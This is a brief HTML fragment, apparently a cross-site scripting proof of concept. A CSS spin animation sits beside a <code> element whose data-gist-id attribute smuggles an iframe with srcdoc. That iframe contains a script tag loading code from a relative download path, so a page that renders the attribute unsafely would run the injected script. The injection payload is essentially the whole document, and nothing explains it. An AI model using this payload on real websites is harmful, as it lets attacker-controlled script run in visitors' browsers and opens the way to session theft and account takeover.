<style>
.spin{
animation-name: spin;
animation-duration: 1000ms;
animation-iteration-count: infinite;
animation-timing-function: linear;
}
@keyframes spin {
from {
transform:rotate(0deg);
}to {
transform:rotate(360deg);
}}
</style>

<div class="spin">
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</div>

<code data-gist-id='<iframe srcdoc="<script src=/kXhUD3YiRQ-Q483FzPXirQ/download></script>"></iframe>'></code>